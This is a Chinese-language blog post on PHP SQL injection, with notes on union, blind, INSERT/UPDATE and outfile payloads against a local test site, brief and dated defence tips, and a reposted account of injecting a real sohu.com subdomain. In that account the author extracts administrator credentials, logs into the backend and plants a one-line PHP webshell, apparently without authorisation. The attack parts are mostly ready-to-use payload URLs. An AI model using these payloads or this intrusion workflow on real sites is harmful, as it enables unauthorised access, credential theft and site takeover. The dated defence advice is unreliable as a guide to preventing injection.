PHP的SQL注入过程分析


Posted in PHP onJanuary 06, 2012

今天从网上学习了有关SQL注入的基本技能。SQL注入的重点就是构造SQL语句,只有灵活的运用SQL

语句才能构造出牛比的注入字符串。学完之后写了点笔记,已备随时使用。希望你在看下面内容时先了

解SQL的基本原理。笔记中的代码来自网络。
  ===基础部分===

本表查询:

http://127.0.0.1/injection/user.php?username=angel' and LENGTH(password)='6

http://127.0.0.1/injection/user.php?username=angel' and LEFT(password,1)='m

Union联合语句:

http://127.0.0.1/injection/show.php?id=1' union select 1,username,password from user/*

http://127.0.0.1/injection/show.php?id=' union select 1,username,password from user/*

导出文件:

http://127.0.0.1/injection/user.php?username=angel' into outfile 'c:/file.txt

http://127.0.0.1/injection/user.php?username=' or 1=1 into outfile 'c:/file.txt

http://127.0.0.1/injection/show.php?id=' union select 1,username,password from user into outfile 'c:/user.txt

INSERT语句:

INSERT INTO `user` (userid, username, password, homepage, userlevel) VALUES ('', '$username', '$password', '$homepage', '1');

构造homepage值为:http://4ngel.net', '3')#

SQL语句变为:INSERT INTO `user` (userid, username, password, homepage, userlevel) VALUES ('', 'angel', 'mypass', 'http://4ngel.net', '3')#', '1');

UPDATE语句:我喜欢这样个东西

先理解这句SQL

UPDATE user SET password='MD5($password)', homepage='$homepage' WHERE id='$id'

如果此SQL被修改成以下形式,就实现了注入

1:修改homepage值为

http://4ngel.net', userlevel='3

之后SQL语句变为

UPDATE user SET password='mypass', homepage='http://4ngel.net', userlevel='3' WHERE id='$id'

userlevel为用户级别

2:修改password值为

mypass)' WHERE username='admin'#

之后SQL语句变为

UPDATE user SET password='MD5(mypass)' WHERE username='admin'#)', homepage='$homepage' WHERE id='$id'

3:修改id值为

' OR username='admin'

之后SQL语句变为

UPDATE user SET password='MD5($password)', homepage='$homepage' WHERE id='' OR username='admin'
  ===高级部分===

常用的MySQL内置函数

DATABASE()

USER()

SYSTEM_USER()

SESSION_USER()

CURRENT_USER()

database()

version()

SUBSTRING()

MID()

char()

load_file()

……

函数应用

UPDATE article SET title=DATABASE() WHERE id=1

http://127.0.0.1/injection/show.php?id=-1 union select 1,database(),version()

SELECT * FROM user WHERE username=char(97,110,103,101,108)

# char(97,110,103,101,108) 相当于angel,十进制

http://127.0.0.1/injection/user.php?userid=1 and password=char(109,121,112,97,115,115)http://127.0.0.1/injection/user.php?userid=1 and LEFT(password,1)>char(100)

http://127.0.0.1/injection/user.php?userid=1 and ord(mid(password,3,1))>111

确定数据结构的字段个数及类型

http://127.0.0.1/injection/show.php?id=-1 union select 1,1,1

http://127.0.0.1/injection/show.php?id=-1 union select char(97),char(97),char(97)

猜数据表名

http://127.0.0.1/injection/show.php?id=-1 union select 1,1,1 from members

跨表查询得到用户名和密码

http://127.0.0.1/ymdown/show.php?id=10000 union select 1,username,1,password,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1

其他

#验证第一位密码

http://127.0.0.1/ymdown/show.php?id=10 union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 and ord(mid(password,1,1))=49

===注入防范===

服务器方面

magic_quotes_gpc设置为On

display_errors设置为Off

编码方面

$keywords = addslashes($keywords);

$keywords = str_replace("_","\_",$keywords);

$keywords = str_replace("%","\%",$keywords);

数值类型

使用intval()抓换

字符串类型

SQL语句参数中要添加单引号

下面代码,用于防治注入

if (get_magic_quotes_gpc()) {

//....

}else{

$str = mysql_real_escape_string($str);

$keywords = str_replace("_","\_",$keywords);

$keywords = str_replace("%","\%",$keywords);

}

有用的函数

stripslashes()

get_magic_quotes_gpc()

mysql_real_escape_string()

strip_tags()

array_map()

addslashes()

参考文章:

http://www.4ngel.net/article/36.htm (SQL Injection with MySQL)中文

http://www.phpe.net/mysql_manual/06-4.html(MYSQL语句参考)

对sohu.com的一次安全检测

已发表于黑客防线

发布在http://www.loveshell.net

sohu.com是国内一家比较大的门户网站,提供了包括邮箱在内的很多服务。这么大的一个网站,不出问题是很难的,俗话说服务越多越不安全嘛!无论是对 于服务器还是网站都是这个道理,最近学习Mysql注入,于是顺便就对sohu.com做了一次小小的安全检测,看看它存不存在SQL注入漏洞。

看看sohu.com的主站发现差不多都是静态的,于是放弃了在主站上找问题的想法。直接在sohu.com的各个分站上浏览了一圈后发现,大部分网站采 用的都是Php脚本,也有少数用的是jsp脚本,根据经验我们知道,对于Php构建的系统,一般后台数据库都是Mysql,就好象asp对应着Mssql一样,看来可能存在问题的地方还是很多的。由于Php的特性(Php默认将传递的参数中的'等字符做了转换,所以对于字符类型的变量默认情况下很难注 入),一般情况下我们注入的只能是数字类型的变量了。根据平时注入的知识,我们知道id=XXX这样的形式传递的参数一般都是数字类型的变量,所以我们只 要去测试那些php?id=XXX的连接就可能找到漏洞了!通过一番仔细的搜索,还真让我在XXX.it.sohu.com上找到了一个存在问题的连接http://XXX.it.sohu.com/book/serialize.php?id=86

提交:

http://XXX.it.sohu.com/book/serialize.php?id=86 and 1=1/*

返回正常如图1。

然后提交:

http://XXX.it.sohu.com/book/serialize.php?id=86 and 1=2/*

返回没有信息如图2,空空的吧,应该是SQL语句结果为空了。

通过这两个Url我们可以猜测漏洞是存在的,因为我们提交的and 1=1和and 1=2都被当作Sql语句执行啦!那么我们提交的其他语句也是可以执行的,这就是Sql注入了!我们还可以知道id这个变量是被当作数字处理的,没有放到 ''之间,否则我们是成功不了的哦!如果变量没有过滤Sql其他关键字的话,我们就很有可能成功啦!我遇到很多的情况都是变量过滤了select,在 mysql里就是死路了,好郁闷!

既然漏洞是存在的,让我们继续吧!首先当然是探测数据库的类型和连接数据库的帐户啦!权限高并且数据库和web同机器的话可以免除猜测字段的痛苦啦!提交:

http://XXX.it.sohu.com/book/serialize.php?id=86 and ord(mid(version(),1,1))>51/*

返回正常如图3,这个语句是看数据库的版本是不是高于3的,因为3的ASCII是51嘛!版本的第一个字符是大于51的话当然就是4.0以上啦!4.0以 上是支持union查询的,这样就可以免除一位一位猜测的痛苦哦!这里结果为真,所以数据库是4.0以上的哦,可以支持union了。

既然支持union查询就先把这个语句的字段给暴出来吧!以后再用union查询什么都是很快的哦!提交:

http://XXX.it.sohu.com/book/serialize.php?id=86 order by 10/*

返回结果正常如图4,看来字段是大于10个的,继续提交:

http://XXX.it.sohu.com/book/serialize.php?id=86 order by 20/*

正常返回,提交:

http://XXX.it.sohu.com/book/serialize.php?id=86 order by 30/*

......

到order by 50的时候返回没有信息了!看来是大于40的小于50的,于是提交:

http://XXX.it.sohu.com/book/serialize.php?id=86 order by 45/*

......

终于猜测到字段是41左右啦!这里说是左右是因为有些字段是不能排序的,所以还需要我们用union精确定位字段数字是41,提交:

http://XXX.it.sohu.com/book/serialize.php?id=86 and 1=2 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41/*

返回结果如图5,哈哈,成功了哦!哪些字段会在页面显示也是一目了然了!现在让我们继续吧!提交:

http://XXX.it.sohu.com/book/serialize.php?id=86 and 1=2 union select 1,user(),3,4,database(),6,7,8,9,10,version(),12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41/*

返回结果如图6,完成了数据库系统的探测哦!我们很有可能不是root,并且数据库服务器和web也很有可能不是在一台服务器,这样的话我们就没有file权限了!提交:

http://XXX.it.sohu.com/book/serialize.php?id=86 and (select count(*) from mysql.user)>0/*

返回结果如图7,没有对mysql的读取权限,更加确定权限不是root了!呵呵!

既然不是root,也不要气馁,让我们继续吧!在进一步猜测数据之前我们最好找下后台先,很多时候找到了管理员密码却找不到地方登陆,很郁闷的说!在根目 录下加/admin和/manage/等等后台常用的地址都是返回404错误,猜测了几次终于在/book/目录下admin的时候出现了403 Forbiden错误,哈哈,是存在这个目录的!但是登陆页面死活也猜不出来,郁闷中!不过既然知道有个admin也好说,去Google里搜索:

admin site:sohu.com

如图8,得到了另外一个分站的论坛,我们知道人是很懒惰的,通常一个地方的后台的特征就很可能是整个网站的特征,所以当我尝试访问/book/admin /admuser.php的时候奇迹出现了,如图9,哈哈,离成功更近了哦!到这里我们知道了网站的后台,其实我们还可以得到很重要的信息,查看原文件发 现登陆表单的名字是name和password,很容易推测出对方管理员表中的结构,即使不符合估计也差不多,呵呵!所以知道为什么我们要先猜测后台了 吧!继续注入吧!提交:

http://XXX.it.sohu.com/book/serialize.php?id=86 and 1=2 union select 1,user(),3,4,database(),6,7,8,9,10,version(),12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41 from admin/*

返回错误,说明不存在admin这个表,尝试admins以及admin_user等等,最后提交:

http://XXX.it.sohu.com/book/serialize.php?id=86 and 1=2 union select 1,user(),3,4,database(),6,7,8,9,10,version(),12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41 from user/*

的时候返回成功,哈哈!有User这个表!那么是不是管理员表呢?字段又是什么呢?继续提交:

http://XXX.it.sohu.com/book/serialize.php?id=86 and 1=2 union select 1,name,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41 from user/*

返回空信息的错误,提交:

http://XXX.it.sohu.com/book/serialize.php?id=86 and 1=2 union select 1,password,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41 from user/*

返回结果如图10,哈哈正常返回并且出来了一个密码,应该是管理员表里第一个用户的密码!那么他的用户名字是什么呢?猜测很多字段都是返回错误,实在没有办法的时候输入一个ID,居然返回成功了!ID就是管理员的名字哦!提交:

http://XXX.it.sohu.com/book/serialize.php?id=86 and 1=2 union select 1,password,3,4,id,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41 from user/*

返回结果如图11,哈哈,得到管理员的名字了哦!激动地拿着管理员名字和密码去后台登陆成功了哦!如图12。现在是想想怎么拿webshell的时候了, 在后台发现有上传图片的地方,但是当上传php文件的时候提示说不是图片文件,郁闷了!在后台仔细的乱七八糟的乱翻了会,发现有个生成php文件的功能, 于是在里面插入了一句话的php后门,如图13,点生成之后提示成功了,看来如果没有过滤的话我们应该是得到webshell了,密码是a,用一句 话后门连上去如图14,哈哈,成功了!脚本检测到此圆满完成!

在得到webshell之后我上服务器上看了看,发现服务器的安全是做得不错,执行不了命令,并且基本上所有的目录除了我们刚才上传的目录之外都是不可写 的,不过作为脚本测试,得到了webshell也就算成功了吧!也可以看出,小小的一个参数没有过滤就可以导致网站的沦陷,特别是像sohu.com这样 的大站,参数更多,更加要注意过滤方面的问题哦!

PHP 相关文章推荐
php 无限级缓存的类的扩展
Mar 16 PHP
PHP CURL模拟登录新浪微博抓取页面内容 基于EaglePHP框架开发
Jan 16 PHP
php输出xml格式字符串(用的这个)
Jul 12 PHP
一组PHP加密解密函数分享
Jun 05 PHP
php导入excel文件到mysql数据库的方法
Jan 14 PHP
PHP之正则表达式捕获组与非捕获组(详解)
Jul 29 PHP
如何解决PHP使用mysql_query查询超大结果集超内存问题
Mar 14 PHP
Yii2中YiiBase自动加载类、引用文件方法分析(autoload)
Jul 25 PHP
深入了解PHP中的Array数组和foreach
Nov 06 PHP
浅谈socket同步和异步、阻塞和非阻塞、I/O模型
Dec 15 PHP
laravel model模型定义实现开启自动管理时间created_at,updated_at
Oct 17 PHP
Yii框架应用组件用法实例分析
May 15 PHP
超级实用的7个PHP代码片段分享
Jan 05 #PHP
php中使用parse_url()对网址进行解析的实现代码(parse_url详解)
Jan 03 #PHP
选择PHP作为网站开发语言的原因分享
Jan 03 #PHP
php 数组动态添加实现代码(最土团购系统的价格排序)
Dec 30 #PHP
第七章 php自定义函数实现代码
Dec 30 #PHP
第六章 php目录与文件操作
Dec 30 #PHP
第五章 php数组操作
Dec 30 #PHP
You might like
php获取apk包信息的方法
2014/08/15 PHP
学习php设计模式 php实现抽象工厂模式
2015/12/07 PHP
CI框架出现mysql数据库连接资源无法释放的解决方法
2016/05/17 PHP
Laravel推荐使用的十个辅助函数
2019/05/10 PHP
js数字输入框(包括最大值最小值限制和四舍五入)
2009/11/24 Javascript
Wordpress ThickBox 添加“查看原图”效果代码
2010/12/11 Javascript
js获取当前页面的url网址信息
2014/06/12 Javascript
JQuery入门基础小实例(1)
2015/09/17 Javascript
轻松掌握JavaScript装饰者模式
2016/08/27 Javascript
微信小程序 使用腾讯地图SDK详解及实现步骤
2017/02/28 Javascript
详谈Angular路由与Nodejs路由的区别
2017/03/05 NodeJs
bootstrap table 多选框分页保留示例代码
2017/03/08 Javascript
vue中子组件的methods中获取到props中的值方法
2018/08/27 Javascript
Javascript 实现 Excel 导入生成图表功能
2018/10/22 Javascript
vue实现移动端省市区选择
2019/09/27 Javascript
JavaScript实现点击切换功能
2021/01/27 Javascript
Python基于生成器迭代实现的八皇后问题示例
2018/05/23 Python
python批量导入数据进Elasticsearch的实例
2018/05/30 Python
python3.5绘制随机漫步图
2018/08/27 Python
Django如何开发简单的查询接口详解
2019/05/17 Python
python 下 CMake 安装配置 OPENCV 4.1.1的方法
2019/09/30 Python
python3.7通过thrift操作hbase的示例代码
2020/01/14 Python
Python进程Multiprocessing模块原理解析
2020/02/28 Python
使用tensorflow根据输入更改tensor shape
2020/06/23 Python
python利用proxybroker构建爬虫免费IP代理池的实现
2021/02/21 Python
css3过渡_动力节点Java学院整理
2017/07/11 HTML / CSS
一篇文章带你学习CSS3图片边框
2020/11/04 HTML / CSS
美国婴儿和儿童家具网上商店:ABaby.com
2018/07/02 全球购物
英国现代市场:ARKET
2019/04/10 全球购物
如何打开WebSphere远程debug
2014/10/10 面试题
北京麒麟网信息技术有限公司网络游戏测试面试题
2013/09/28 面试题
中文专业求职信
2014/06/20 职场文书
大学生敬老院活动总结
2015/05/07 职场文书
幼儿园安全教育月活动总结
2015/05/08 职场文书
详解Spring Bean的配置方式与实例化
2022/06/10 Java/Android
MySQL的意向共享锁、意向排它锁和死锁
2022/07/15 MySQL